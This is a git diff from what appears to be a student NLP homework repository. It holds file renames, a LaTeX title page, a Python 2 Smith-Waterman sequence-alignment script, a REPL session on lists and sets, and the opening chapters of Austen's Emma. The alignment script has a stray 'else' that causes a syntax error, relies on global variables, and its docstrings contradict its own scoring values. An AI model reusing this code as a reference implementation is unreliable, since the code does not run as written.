00889.272969152a8ce2d6ece155571e862683 00889.272969152a8ce2d6ece155571e862683 +mv 00890.3996b985f81cb29cba9dfda9844c47e2 00890.3996b985f81cb29cba9dfda9844c47e2 +mv 00891.730d12d96dcfa7812a51d12d9a3b6a1c 00891.730d12d96dcfa7812a51d12d9a3b6a1c +mv 00892.98aff9f92339cedef0ce0b9bade2765f 00892.98aff9f92339cedef0ce0b9bade2765f +mv 00893.89d5fc38f24e7e2241888c19ec260994 00893.89d5fc38f24e7e2241888c19ec260994 +mv 00894.f54f07418fc8e677fe0fe5ac60a251ab 00894.f54f07418fc8e677fe0fe5ac60a251ab +mv 00895.d7895e10504f34149655062fe20d5174 00895.d7895e10504f34149655062fe20d5174 +mv 00896.c6f6a4e29a114b9d7d5751e4292520de 00896.c6f6a4e29a114b9d7d5751e4292520de +mv 00897.b95ab214fa940540786f7bb4284b275d 00897.b95ab214fa940540786f7bb4284b275d +mv 00898.8b3fe8deaa79f08133be78fc63e726c9 00898.8b3fe8deaa79f08133be78fc63e726c9 +mv 00899.957a4f3be27468470183f978db53c753 00899.957a4f3be27468470183f978db53c753 +mv 00900.a5f6355af8a1891e683898c5b549e565 00900.a5f6355af8a1891e683898c5b549e565 +mv 00901.95250e8c5c190d1b0320b9e6fe0f5a82 00901.95250e8c5c190d1b0320b9e6fe0f5a82 +mv 00902.5cf0d5b3c8c28418fd5aac308db88a47 00902.5cf0d5b3c8c28418fd5aac308db88a47 +mv 00903.1b151e48aafed20229a1880c1d558992 00903.1b151e48aafed20229a1880c1d558992 +mv 00904.8f93ecb6172ee1feba7b4248c48b9ef5 00904.8f93ecb6172ee1feba7b4248c48b9ef5 +mv 00905.8dcb590481d3e3c04d03506100c59497 00905.8dcb590481d3e3c04d03506100c59497 +mv 00906.bd0b0986deaf717b1f1a689fd950b97c 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+\setlength{\parindent}{0pt} + +\title{University of Massachusetts Amherst \\ COMPSCI 585: Homework 1 \\ +Instructor: Andrew McCallum} +\date{\today} + +\author{Sam Baldwin \\ Ilia Kurenkov} + +\begin{document} +\maketitle + +\end{document} diff --git a/ilia_kurenkov_simple_traceback.py b/ilia_kurenkov_simple_traceback.py new file mode 100644 index 0000000..64e08ca --- /dev/null +++ b/ilia_kurenkov_simple_traceback.py @@ -0,0 +1,174 @@ +from numpy import zeros # importing special matrix + +class SW_Matrix: + '''This matrix given two strings populates itself according to the + Smith-Waterman algorithm. Following the slides from the lecture, I named + the methods involved in assiging a value to a cell Big D and small D. This + should make it easier to understand what goes on in them. + ''' + + def __init__(self, s1, s2): + ''' class constructor ''' + self.matrix = zeros((len(s1),len(s2))) + self.min_val = [0, ()] + + def small_d(self, char1, char2): + '''Small D: determines whether two given characters match or not. + If they match, method returns the bonus for matching, -2 in this case. + Otherwise it returns penalty for mismatch, -1 in this case. + ''' + if char1 == char2: + #print 'match' + return -2 + else: + return 1 + + def big_d(self, row, col): + '''Big D: collects the values of all possible source cells, adds to + them the result of Small D and returns the minimum value of these + results and zero. + ''' + string_comparison = self.small_d(s1[row],s2[col]) + above = self.matrix[row-1][col] + string_comparison + left = self.matrix[row][col-1] + string_comparison + diagonal = self.matrix[row-1][col-1] + string_comparison + return min(0, above, left, diagonal) + + def populate(self): + '''Method actually fills in matrix. Loops over rows and columns, + assiging the result of Big D to them. It also (this was not covered in + the slides), keeps track of the coordinates of the cell with the lowest + value. This will become relevant later when we do traceback. + ''' + rows = self.matrix.shape[0] + cols = self.matrix.shape[1] + for r in range(1, rows): + for c in range(1, cols): + val = self.big_d(r, c) + self.matrix[r][c] = val + + if val <= self.min_val[0]: #checking if we have minimum value + self.min_val[0] = val + self.min_val[1] = (r,c) + + def display(self): + '''Slightly silly method, but useful if you want the possibility *not* + to display the matrix that you arrive at as the result of populate(). + ''' + print 'For {0} and {1} we have the following matrix:\n'.format(s1, s2) + print self.matrix + + def exists(self, pos): + '''This method is for traceback. It determines if a given set of + coordinates lies within the dimensions of the matrix. If that is not + the case, method returns False. See the traceback methods for more + details. + ''' + #print pos + if pos[0] > -1 and pos[1] > -1: + return True + else: + return False + +class SW_Aligner: + '''This class uses two strings to create and populate a SW_Matrix object. + It also has the methods and functionality to preform traceback over the + matrix and generage an alignment. As my attempt to create a recursive + traceback algorithm has failed, this one simply chooses a random minimum + value to use as the next step. See below for details. + ''' + def __init__(self, s1,s2): + '''class constructor. ''' + self.matrix = SW_Matrix(s1,s2) #initialize matrix + self.matrix.populate() #populate it + self.matrix.display() # display it (comment this out if you want) + + self.min_val = self.matrix.min_val #stores coordinates of minimum + self.s1 = s1 #this and below line store the input strings + self.s2 = s2 + self.path = [] # list of pairings of indices + + def generate_next(self, pos): + '''Helper method that generates the next cell to feed into the align + method, given a tuple of coordinates for the current cell. This goes in + two stages: + First, we collect all the possible continuations from a given cell, + making sure that they are valid coordinates in the matrix and do not + lie outside of it. + We then sort the resulting list and choose the first member thereof, + that has the minimum value. As mentioned earlier, we limit ourselves to + the semi-random first member in the hopes of relatively consistently + hitting the only cell with the minimum value. + ''' + + '''for convenience sake we assign the matrix to a shorter variable + name. we also initiate a list of potential continuations as well as + coordinate tuples for theoretically possible (but potentially + out-of-bounds) candidates. + ''' + cells, mat = [], self.matrix.matrix + diagonal = (pos[0]-1, pos[1]-1) + left = (pos[0], pos[1]-1) + up = (pos[0]-1, pos[1]) + + if self.matrix.exists(diagonal): #if there are cells on diagonal + cells.append((mat[pos[0]-1][pos[1]-1], diagonal)) + if self.matrix.exists(left): + cells.append((mat[pos[0]][pos[1]-1], left)) + if self.matrix.exists(up): + cells.append((mat[pos[0]-1][pos[1]], up)) + + cells = sorted(cells) #sorting the list of cells + return cells[0][1] #choosing the minimum + else: + return pos + + + + def align(self, pos, path=[]): + '''This method is responsible for the actuall traceback. + This is the method that I wanted to extend and make recursive, but + succeeded only in a fairly limited degree. + ''' + path.append(pos) + if self.matrix.matrix[pos[0]][pos[1]] == 0: + # ^ above we check whether we reached a zero + self.path = path + else: #if no zero reached, we continue collecting cells + next_pos = self.generate_next(pos) + self.align(next_pos, path=path) + + def display(self): + '''This method takes the work done by the align() method and converts + it from a list of pairings of coordinates into a list of pairings of + characters from the two strings. + ''' + path = self.path + path.reverse() # putting pairings list in correct order for printing + approx = [(s1[x[0]],s2[x[1]]) for x in path] #temporary list + alnmnt = [] #final output list + for pair in approx: #additional formatting for local mismatches + if pair[0] != pair[1]: + alnmnt.append((pair[0], '-')) + alnmnt.append(('-', pair[1])) + else: # more typical case where chars match + alnmnt.append(pair) + print '\nThis matrix yields the following allignment:\n'.format(s1, s2) + print alnmnt + + +''' +The Testing Section. +The code below is just there to demonstrate how the alignment program works. +You should be able to modify it without much effect on the program as a whole +as long as you call on the right methods to do the right things. +''' + +#s1= 'lounge' #uncomment and insert your own string if you want no prompt +#s2= "s'allonger" +s1 = raw_input('Please give me a string to align\n') +s2 = raw_input('Please give me another string \n') +smith_w = SW_Aligner(s1,s2) #initiate the aligning class +smith_w.align(smith_w.min_val[1]) #run aligning method +smith_w.display() # display the results + diff --git a/loading-individual-files-mess-around.py b/loading-individual-files-mess-around.py new file mode 100644 index 0000000..535cdab --- /dev/null +++ b/loading-individual-files-mess-around.py @@ -0,0 +1,50 @@ +Python 2.7.3 (default, Aug 1 2012, 05:14:39) +[GCC 4.6.3] on linux2 +Type "copyright", "credits" or "license()" for more information. +>>> list1 = [('y', 3), ('b', 4)] +>>> list2 = [('y', 3), ('c', 4)] +>>> list1 = dict([('y', 3), ('b', 4)]) +>>> list3 = dict([(x[0], list1[x[0]]+x[1]) if x[0] in list1 else (x[0], x[1]) for x in list2]) +>>> +>>> list3 +{'y': 6, 'c': 4} +>>> list3 = [(x[0], list1[x[0]]+x[1]) if x[0] in list1 else (x[0], x[1]) for x in list2] +>>> list4 = [(x[0], x[1]) if x not in list2 for x in list1] +SyntaxError: invalid syntax +>>> list4 = [x if x not in list2 for x in list1] +SyntaxError: invalid syntax +>>> list4 = [x for x in list1 if x not in list2] +>>> list4 +['y', 'b'] +>>> list4 = [(x, list1[x]) for x in list1 if x not in list2] +>>> list4 +[('y', 3), ('b', 4)] +>>> list2 = [('c',4), ('y', 3), ] +>>> list2 +[('c', 4), ('y', 3)] +>>> sorted(list2) +[('c', 4), ('y', 3)] +>>> li = set(list2) +>>> li +set([('y', 3), ('c', 4)]) +>>> dir(li) +['__and__', '__class__', '__cmp__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__iand__', '__init__', '__ior__', '__isub__', '__iter__', '__ixor__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__or__', '__rand__', '__reduce__', '__reduce_ex__', '__repr__', '__ror__', '__rsub__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__xor__', 'add', 'clear', 'copy', 'difference', 'difference_update', 'discard', 'intersection', 'intersection_update', 'isdisjoint', 'issubset', 'issuperset', 'pop', 'remove', 'symmetric_difference', 'symmetric_difference_update', 'union', 'update'] +>>> li2 = set(list4) +>>> li.intersection(li2) +set([('y', 3)]) +>>> li.difference(li2) +set([('c', 4)]) +>>> list(li.difference(li2)) +[('c', 4)] +>>> list4 +[('y', 3), ('b', 4)] +>>> list2 +[('c', 4), ('y', 3)] +>>> li.union(li2) +set([('y', 3), ('b', 4), ('c', 4)]) +>>> list1 +{'y': 3, 'b': 4} +>>> +>>> '''Using sets can prove very useful for combining lists in a way that makes sure we do not have duplicates. ''' +'Using sets can prove very useful for combining lists in a way that makes sure we do not have duplicates. ' +>>> diff --git a/mccalum/austen-emma.txt b/mccalum/austen-emma.txt new file mode 100644 index 0000000..6305296 --- /dev/null +++ b/mccalum/austen-emma.txt @@ -0,0 +1,17078 @@ +******The Project Gutenberg Etext of Emma, by Jane Austen****** + +Please take a look at the important information in this header. +We encourage you to keep this file on your own disk, keeping an +electronic path open for the next readers. Do not remove this. + + +**Welcome To The World of Free Plain Vanilla Electronic Texts** + +**Etexts Readable By Both Humans and By Computers, Since 1971** + +*These Etexts Prepared By Hundreds of Volunteers and Donations* + +Information on contacting Project Gutenberg to get Etexts, and +further information is included below. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + + + + + + + +VOLUME I + + + +CHAPTER I + + +Emma Woodhouse, handsome, clever, and rich, with a comfortable home +and happy disposition, seemed to unite some of the best blessings +of existence; and had lived nearly twenty-one years in the world +with very little to distress or vex her. + +She was the youngest of the two daughters of a most affectionate, +indulgent father; and had, in consequence of her sister's marriage, +been mistress of his house from a very early period. Her mother +had died too long ago for her to have more than an indistinct +remembrance of her caresses; and her place had been supplied +by an excellent woman as governess, who had fallen little short +of a mother in affection. + +Sixteen years had Miss Taylor been in Mr. Woodhouse's family, +less as a governess than a friend, very fond of both daughters, +but particularly of Emma. Between _them_ it was more the intimacy +of sisters. Even before Miss Taylor had ceased to hold the nominal +office of governess, the mildness of her temper had hardly allowed +her to impose any restraint; and the shadow of authority being +now long passed away, they had been living together as friend and +friend very mutually attached, and Emma doing just what she liked; +highly esteeming Miss Taylor's judgment, but directed chiefly by +her own. + +The real evils, indeed, of Emma's situation were the power of having +rather too much her own way, and a disposition to think a little +too well of herself; these were the disadvantages which threatened +alloy to her many enjoyments. The danger, however, was at present +so unperceived, that they did not by any means rank as misfortunes +with her. + +Sorrow came--a gentle sorrow--but not at all in the shape of any +disagreeable consciousness.--Miss Taylor married. It was Miss +Taylor's loss which first brought grief. It was on the wedding-day +of this beloved friend that Emma first sat in mournful thought +of any continuance. The wedding over, and the bride-people gone, +her father and herself were left to dine together, with no prospect +of a third to cheer a long evening. Her father composed himself +to sleep after dinner, as usual, and she had then only to sit +and think of what she had lost. + +The event had every promise of happiness for her friend. Mr. Weston +was a man of unexceptionable character, easy fortune, suitable age, +and pleasant manners; and there was some satisfaction in considering +with what self-denying, generous friendship she had always wished +and promoted the match; but it was a black morning's work for her. +The want of Miss Taylor would be felt every hour of every day. +She recalled her past kindness--the kindness, the affection of sixteen +years--how she had taught and how she had played with her from five +years old--how she had devoted all her powers to attach and amuse +her in health--and how nursed her through the various illnesses +of childhood. A large debt of gratitude was owing here; but the +intercourse of the last seven years, the equal footing and perfect +unreserve which had soon followed Isabella's marriage, on their +being left to each other, was yet a dearer, tenderer recollection. +She had been a friend and companion such as few possessed: intelligent, +well-informed, useful, gentle, knowing all the ways of the family, +interested in all its concerns, and peculiarly interested in herself, +in every pleasure, every scheme of hers--one to whom she could speak +every thought as it arose, and who had such an affection for her +as could never find fault. + +How was she to bear the change?--It was true that her friend was +going only half a mile from them; but Emma was aware that great must +be the difference between a Mrs. Weston, only half a mile from them, +and a Miss Taylor in the house; and with all her advantages, +natural and domestic, she was now in great danger of suffering +from intellectual solitude. She dearly loved her father, but he +was no companion for her. He could not meet her in conversation, +rational or playful. + +The evil of the actual disparity in their ages (and Mr. Woodhouse had +not married early) was much increased by his constitution and habits; +for having been a valetudinarian all his life, without activity +of mind or body, he was a much older man in ways than in years; +and though everywhere beloved for the friendliness of his heart +and his amiable temper, his talents could not have recommended him +at any time. + +Her sister, though comparatively but little removed by matrimony, +being settled in London, only sixteen miles off, was much beyond +her daily reach; and many a long October and November evening must +be struggled through at Hartfield, before Christmas brought the next +visit from Isabella and her husband, and their little children, +to fill the house, and give her pleasant society again. + +Highbury, the large and populous village, almost amounting to a town, +to which Hartfield, in spite of its separate lawn, and shrubberies, +and name, did really belong, afforded her no equals. The Woodhouses +were first in consequence there. All looked up to them. She had +many acquaintance in the place, for her father was universally civil, +but not one among them who could be accepted in lieu of Miss +Taylor for even half a day. It was a melancholy change; and Emma +could not but sigh over it, and wish for impossible things, +till her father awoke, and made it necessary to be cheerful. +His spirits required support. He was a nervous man, easily depressed; +fond of every body that he was used to, and hating to part with them; +hating change of every kind. Matrimony, as the origin of change, +was always disagreeable; and he was by no means yet reconciled +to his own daughter's marrying, nor could ever speak of her but +with compassion, though it had been entirely a match of affection, +when he was now obliged to part with Miss Taylor too; and from +his habits of gentle selfishness, and of being never able to +suppose that other people could feel differently from himself, +he was very much disposed to think Miss Taylor had done as sad +a thing for herself as for them, and would have been a great deal +happier if she had spent all the rest of her life at Hartfield. +Emma smiled and chatted as cheerfully as she could, to keep him +from such thoughts; but when tea came, it was impossible for him +not to say exactly as he had said at dinner, + +"Poor Miss Taylor!--I wish she were here again. What a pity it +is that Mr. Weston ever thought of her!" + +"I cannot agree with you, papa; you know I cannot. Mr. Weston is such +a good-humoured, pleasant, excellent man, that he thoroughly deserves +a good wife;--and you would not have had Miss Taylor live with us +for ever, and bear all my odd humours, when she might have a house of her own?" + +"A house of her own!--But where is the advantage of a house of her own? +This is three times as large.--And you have never any odd humours, +my dear." + +"How often we shall be going to see them, and they coming to see +us!--We shall be always meeting! _We_ must begin; we must go and pay +wedding visit very soon." + +"My dear, how am I to get so far? Randalls is such a distance. +I could not walk half so far." + +"No, papa, nobody thought of your walking. We must go in the carriage, +to be sure." + +"The carriage! But James will not like to put the horses to for +such a little way;--and where are the poor horses to be while we +are paying our visit?" + +"They are to be put into Mr. Weston's stable, papa. You know we +have settled all that already. We talked it all over with Mr. Weston +last night. And as for James, you may be very sure he will always like +going to Randalls, because of his daughter's being housemaid there. +I only doubt whether he will ever take us anywhere else. That was +your doing, papa. You got Hannah that good place. Nobody thought +of Hannah till you mentioned her--James is so obliged to you!" + +"I am very glad I did think of her. It was very lucky, for I would +not have had poor James think himself slighted upon any account; +and I am sure she will make a very good servant: she is a civil, +pretty-spoken girl; I have a great opinion of her. Whenever I see her, +she always curtseys and asks me how I do, in a very pretty manner; +and when you have had her here to do needlework, I observe she +always turns the lock of the door the right way and never bangs it. +I am sure she will be an excellent servant; and it will be a great +comfort to poor Miss Taylor to have somebody about her that she is +used to see. Whenever James goes over to see his daughter, you know, +she will be hearing of us. He will be able to tell her how we +all are." + +Emma spared no exertions to maintain this happier flow of ideas, +and hoped, by the help of backgammon, to get her father tolerably +through the evening, and be attacked by no regrets but her own. +The backgammon-table was placed; but a visitor immediately afterwards +walked in and made it unnecessary. + +Mr. Knightley, a sensible man about seven or eight-and-thirty, was not +only a very old and intimate friend of the family, but particularly +connected with it, as the elder brother of Isabella's husband. +He lived about a mile from Highbury, was a frequent visitor, +and always welcome, and at this time more welcome than usual, +as coming directly from their mutual connexions in London. He had +returned to a late dinner, after some days' absence, and now walked +up to Hartfield to say that all were well in Brunswick Square. +It was a happy circumstance, and animated Mr. Woodhouse for some time. +Mr. Knightley had a cheerful manner, which always did him good; +and his many inquiries after "poor Isabella" and her children were +answered most satisfactorily. When this was over, Mr. Woodhouse +gratefully observed, "It is very kind of you, Mr. Knightley, to come +out at this late hour to call upon us. I am afraid you must have +had a shocking walk." + +"Not at all, sir. It is a beautiful moonlight night; and so mild +that I must draw back from your great fire." + +"But you must have found it very damp and dirty. I wish you may +not catch cold." + +"Dirty, sir! Look at my shoes. Not a speck on them." + +"Well! that is quite surprising, for we have had a vast deal +of rain here. It rained dreadfully hard for half an hour +while we were at breakfast. I wanted them to put off the wedding." + +"By the bye--I have not wished you joy. Being pretty well aware +of what sort of joy you must both be feeling, I have been in no hurry +with my congratulations; but I hope it all went off tolerably well. +How did you all behave? Who cried most?" + +"Ah! poor Miss Taylor! 'Tis a sad business." + +"Poor Mr. and Miss Woodhouse, if you please; but I cannot possibly +say `poor Miss Taylor.' I have a great regard for you and Emma; +but when it comes to the question of dependence or independence!--At +any rate, it must be better to have only one to please than two." + +"Especially when _one_ of those two is such a fanciful, troublesome creature!" +said Emma playfully. "That is what you have in your head, +I know--and what you would certainly say if my father were not by." + +"I believe it is very true, my dear, indeed," said Mr. Woodhouse, +with a sigh. "I am afraid I am sometimes very fanciful and troublesome." + +"My dearest papa! You do not think I could mean _you_, or suppose +Mr. Knightley to mean _you_. What a horrible idea! Oh no! I meant +only myself. Mr. Knightley loves to find fault with me, you know-- +in a joke--it is all a joke. We always say what we like to one another." + +Mr. Knightley, in fact, was one of the few people who could see +faults in Emma Woodhouse, and the only one who ever told her of them: +and though this was not particularly agreeable to Emma herself, +she knew it would be so much less so to her father, that she would +not have him really suspect such a circumstance as her not being +thought perfect by every body. + +"Emma knows I never flatter her," said Mr. Knightley, "but I +meant no reflection on any body. Miss Taylor has been used +to have two persons to please; she will now have but one. +The chances are that she must be a gainer." + +"Well," said Emma, willing to let it pass--"you want to hear +about the wedding; and I shall be happy to tell you, for we all +behaved charmingly. Every body was punctual, every body in their +best looks: not a tear, and hardly a long face to be seen. Oh no; +we all felt that we were going to be only half a mile apart, +and were sure of meeting every day." + +"Dear Emma bears every thing so well," said her father. +"But, Mr. Knightley, she is really very sorry to lose poor Miss Taylor, +and I am sure she _will_ miss her more than she thinks for." + +Emma turned away her head, divided between tears and smiles. +"It is impossible that Emma should not miss such a companion," +said Mr. Knightley. "We should not like her so well as we do, sir, +if we could suppose it; but she knows how much the marriage is to +Miss Taylor's advantage; she knows how very acceptable it must be, +at Miss Taylor's time of life, to be settled in a home of her own, +and how important to her to be secure of a comfortable provision, +and therefore cannot allow herself to feel so much pain as pleasure. +Every friend of Miss Taylor must be glad to have her so happily +married." + +"And you have forgotten one matter of joy to me," said Emma, +"and a very considerable one--that I made the match myself. +I made the match, you know, four years ago; and to have it take place, +and be proved in the right, when so many people said Mr. Weston would +never marry again, may comfort me for any thing." + +Mr. Knightley shook his head at her. Her father fondly replied, +"Ah! my dear, I wish you would not make matches and foretell things, +for whatever you say always comes to pass. Pray do not make any +more matches." + +"I promise you to make none for myself, papa; but I must, indeed, +for other people. It is the greatest amusement in the world! And +after such success, you know!--Every body said that Mr. Weston would +never marry again. Oh dear, no! Mr. Weston, who had been a widower +so long, and who seemed so perfectly comfortable without a wife, +so constantly occupied either in his business in town or among his +friends here, always acceptable wherever he went, always cheerful-- +Mr. Weston need not spend a single evening in the year alone if he did +not like it. Oh no! Mr. Weston certainly would never marry again. +Some people even talked of a promise to his wife on her deathbed, +and others of the son and the uncle not letting him. All manner +of solemn nonsense was talked on the subject, but I believed none +of it. + +"Ever since the day--about four years ago--that Miss Taylor and I +met with him in Broadway Lane, when, because it began to drizzle, +he darted away with so much gallantry, and borrowed two umbrellas +for us from Farmer Mitchell's, I made up my mind on the subject. +I planned the match from that hour; and when such success has blessed +me in this instance, dear papa, you cannot think that I shall leave +off match-making." + +"I do not understand what you mean by `success,'" said Mr. Knightley. +"Success supposes endeavour. Your time has been properly and +delicately spent, if you have been endeavouring for the last four +years to bring about this marriage. A worthy employment for a young +lady's mind! But if, which I rather imagine, your making the match, +as you call it, means only your planning it, your saying to yourself +one idle day, `I think it would be a very good thing for Miss Taylor +if Mr. Weston were to marry her,' and saying it again to yourself +every now and then afterwards, why do you talk of success? Where +is your merit? What are you proud of? You made a lucky guess; +and _that_ is all that can be said." + +"And have you never known the pleasure and triumph of a lucky guess?-- +I pity you.--I thought you cleverer--for, depend upon it a lucky +guess is never merely luck. There is always some talent in it. +And as to my poor word `success,' which you quarrel with, I do not +know that I am so entirely without any claim to it. You have drawn +two pretty pictures; but I think there may be a third--a something +between the do-nothing and the do-all. If I had not promoted Mr. Weston's +visits here, and given many little encouragements, and smoothed +many little matters, it might not have come to any thing after all. +I think you must know Hartfield enough to comprehend that." + +"A straightforward, open-hearted man like Weston, and a rational, +unaffected woman like Miss Taylor, may be safely left to manage their +own concerns. You are more likely to have done harm to yourself, +than good to them, by interference." + +"Emma never thinks of herself, if she can do good to others," +rejoined Mr. Woodhouse, understanding but in part. "But, my dear, +pray do not make any more matches; they are silly things, and break up +one's family circle grievously." + +"Only one more, papa; only for Mr. Elton. Poor Mr. Elton! You +like Mr. Elton, papa,--I must look about for a wife for him. +There is nobody in Highbury who deserves him--and he has been +here a whole year, and has fitted up his house so comfortably, +that it would be a shame to have him single any longer--and I thought +when he was joining their hands to-day, he looked so very much as if +he would like to have the same kind office done for him! I think +very well of Mr. Elton, and this is the only way I have of doing +him a service." + +"Mr. Elton is a very pretty young man, to be sure, and a very +good young man, and I have a great regard for him. But if you +want to shew him any attention, my dear, ask him to come +and dine with us some day. That will be a much better thing. +I dare say Mr. Knightley will be so kind as to meet him." + +"With a great deal of pleasure, sir, at any time," said Mr. Knightley, +laughing, "and I agree with you entirely, that it will be a much +better thing. Invite him to dinner, Emma, and help him to the best +of the fish and the chicken, but leave him to chuse his own wife. +Depend upon it, a man of six or seven-and-twenty can take care +of himself." + + + +CHAPTER II + + +Mr. Weston was a native of Highbury, and born of a respectable family, +which for the last two or three generations had been rising into +gentility and property. He had received a good education, but, +on succeeding early in life to a small independence, had become +indisposed for any of the more homely pursuits in which his brothers +were engaged, and had satisfied an active, cheerful mind and social +temper by entering into the militia of his county, then embodied. + +Captain Weston was a general favourite; and when the chances +of his military life had introduced him to Miss Churchill, +of a great Yorkshire family, and Miss Churchill fell in love +with him, nobody was surprized, except her brother and his wife, +who had never seen him, and who were full of pride and importance, +which the connexion would offend. + +Miss Churchill, however, being of age, and with the full command +of her fortune--though her fortune bore no proportion to the +family-estate--was not to be dissuaded from the marriage, and it +took place, to the infinite mortification of Mr. and Mrs. Churchill, +who threw her off with due decorum. It was an unsuitable connexion, +and did not produce much happiness. Mrs. Weston ought to have found +more in it, for she had a husband whose warm heart and sweet temper +made him think every thing due to her in return for the great goodness +of being in love with him; but though she had one sort of spirit, +she had not the best. She had resolution enough to pursue +her own will in spite of her brother, but not enough to refrain +from unreasonable regrets at that brother's unreasonable anger, +nor from missing the luxuries of her former home. They lived beyond +their income, but still it was nothing in comparison of Enscombe: +she did not cease to love her husband, but she wanted at once +to be the wife of Captain Weston, and Miss Churchill of Enscombe. + +Captain Weston, who had been considered, especially by the Churchills, +as making such an amazing match, was proved to have much the worst +of the bargain; for when his wife died, after a three years' marriage, +he was rather a poorer man than at first, and with a child to maintain. +From the expense of the child, however, he was soon relieved. +The boy had, with the additional softening claim of a lingering +illness of his mother's, been the means of a sort of reconciliation; +and Mr. and Mrs. Churchill, having no children of their own, +nor any other young creature of equal kindred to care for, offered to +take the whole charge of the little Frank soon after her decease. +Some scruples and some reluctance the widower-father may be supposed +to have felt; but as they were overcome by other considerations, +the child was given up to the care and the wealth of the Churchills, +and he had only his own comfort to seek, and his own situation to +improve as he could. + +A complete change of life became desirable. He quitted the militia +and engaged in trade, having brothers already established in a +good way in London, which afforded him a favourable opening. +It was a concern which brought just employment enough. He had still +a small house in Highbury, where most of his leisure days were spent; +and between useful occupation and the pleasures of society, +the next eighteen or twenty years of his life passed cheerfully away. +He had, by that time, realised an easy competence--enough to secure +the purchase of a little estate adjoining Highbury, which he had +always longed for--enough to marry a woman as portionless even +as Miss Taylor, and to live according to the wishes of his own +friendly and social disposition. + +It was now some time since Miss Taylor had begun to influence +his schemes; but as it was not the tyrannic influence of youth +on youth, it had not shaken his determination of never settling +till he could purchase Randalls, and the sale of Randalls was long +looked forward to; but he had gone steadily on, with these objects +in view, till they were accomplished. He had made his fortune, +bought his house, and obtained his wife; and was beginning a new +period of existence, with every probability of greater happiness +than in any yet passed through. He had never been an unhappy man; +his own temper had secured him from that, even in his first marriage; +but his second must shew him how delightful a well-judging and truly +amiable woman could be, and must give him the pleasantest proof +of its being a great deal better to choose than to be chosen, +to excite gratitude than to feel it. + +He had only himself to please in his choice: his fortune was +his own; for as to Frank, it was more than being tacitly brought +up as his uncle's heir, it had become so avowed an adoption +as to have him assume the name of Churchill on coming of age. +It was most unlikely, therefore, that he should ever want his +father's assistance. His father had no apprehension of it. +The aunt was a capricious woman, and governed her husband entirely; +but it was not in Mr. Weston's nature to imagine that any caprice +could be strong enough to affect one so dear, and, as he believed, +so deservedly dear. He saw his son every year in London, +and was proud of him; and his fond report of him as a very fine +young man had made Highbury feel a sort of pride in him too. +He was looked on as sufficiently belonging to the place to make his +merits and prospects a kind of common concern. + +Mr. Frank Churchill was one of the boasts of Highbury, and a lively +curiosity to see him prevailed, though the compliment was so little +returned that he had never been there in his life. His coming +to visit his father had been often talked of but never achieved. + +Now, upon his father's marriage, it was very generally proposed, +as a most proper attention, that the visit should take place. +There was not a dissentient voice on the subject, either when +Mrs. Perry drank tea with Mrs. and Miss Bates, or when Mrs. and +Miss Bates returned the visit. Now was the time for Mr. Frank +Churchill to come among them; and the hope strengthened when it was +understood that he had written to his new mother on the occasion. +For a few days, every morning visit in Highbury included some mention +of the handsome letter Mrs. Weston had received. "I suppose you +have heard of the handsome letter Mr. Frank Churchill has written +to Mrs. Weston? I understand it was a very handsome letter, indeed. +Mr. Woodhouse told me of it. Mr. Woodhouse saw the letter, and he +says he never saw such a handsome letter in his life." + +It was, indeed, a highly prized letter. Mrs. Weston had, of course, +formed a very favourable idea of the young man; and such a pleasing +attention was an irresistible proof of his great good sense, +and a most welcome addition to every source and every expression +of congratulation which her marriage had already secured. She felt +herself a most fortunate woman; and she had lived long enough +to know how fortunate she might well be thought, where the only +regret was for a partial separation from friends whose friendship +for her had never cooled, and who could ill bear to part with her. + +She knew that at times she must be missed; and could not think, +without pain, of Emma's losing a single pleasure, or suffering +an hour's ennui, from the want of her companionableness: but dear +Emma was of no feeble character; she was more equal to her situation +than most girls would have been, and had sense, and energy, +and spirits that might be hoped would bear her well and happily +through its little difficulties and privations. And then there was +such comfort in the very easy distance of Randalls from Hartfield, +so convenient for even solitary female walking, and in Mr. Weston's +disposition and circumstances, which would make the approaching +season no hindrance to their spending half the evenings in the +week together. + +Her situation was altogether the subject of hours of gratitude +to Mrs. Weston, and of moments only of regret; and her +satisfaction--her more than satisfaction--her cheerful enjoyment, +was so just and so apparent, that Emma, well as she knew her father, +was sometimes taken by surprize at his being still able to pity +`poor Miss Taylor,' when they left her at Randalls in the centre +of every domestic comfort, or saw her go away in the evening +attended by her pleasant husband to a carriage of her own. +But never did she go without Mr. Woodhouse's giving a gentle sigh, +and saying, "Ah, poor Miss Taylor! She would be very glad to stay." + +There was no recovering Miss Taylor--nor much likelihood of +ceasing to pity her; but a few weeks brought some alleviation +to Mr. Woodhouse. The compliments of his neighbours were over; +he was no longer teased by being wished joy of so sorrowful an event; +and the wedding-cake, which had been a great distress to him, +was all eat up. His own stomach could bear nothing rich, and he +could never believe other people to be different from himself. +What was unwholesome to him he regarded as unfit for any body; +and he had, therefore, earnestly tried to dissuade them from having +any wedding-cake at all, and when that proved vain, as earnestly +tried to prevent any body's eating it. He had been at the pains +of consulting Mr. Perry, the apothecary, on the subject. Mr. Perry +was an intelligent, gentlemanlike man, whose frequent visits were one +of the comforts of Mr. Woodhouse's life; and upon being applied to, +he could not but acknowledge (though it seemed rather against the +bias of inclination) that wedding-cake might certainly disagree +with many--perhaps with most people, unless taken moderately. +With such an opinion, in confirmation of his own, Mr. Woodhouse hoped +to influence every visitor of the newly married pair; but still the +cake was eaten; and there was no rest for his benevolent nerves till +it was all gone. + +There was a strange rumour in Highbury of all the little Perrys +being seen with a slice of Mrs. Weston's wedding-cake in their +hands: but Mr. Woodhouse would never believe it. + + + +CHAPTER III + + +Mr. Woodhouse was fond of society in his own way. He liked very much +to have his friends come and see him; and from various united causes, +from his long residence at Hartfield, and his good nature, +from his fortune, his house, and his daughter, he could command the +visits of his own little circle, in a great measure, as he liked. +He had not much intercourse with any families beyond that circle; +his horror of late hours, and large dinner-parties, made him unfit +for any acquaintance but such as would visit him on his own terms. +Fortunately for him, Highbury, including Randalls in the same parish, +and Donwell Abbey in the parish adjoining, the seat of Mr. Knightley, +comprehended many such. Not unfrequently, through Emma's persuasion, +he had some of the chosen and the best to dine with him: but evening +parties were what he preferred; and, unless he fancied himself at any +time unequal to company, there was scarcely an evening in the week +in which Emma could not make up a card-table for him. + +Real, long-standing regard brought the Westons and Mr. Knightley; +and by Mr. Elton, a young man living alone without liking it, +the privilege of exchanging any vacant evening of his own blank solitude 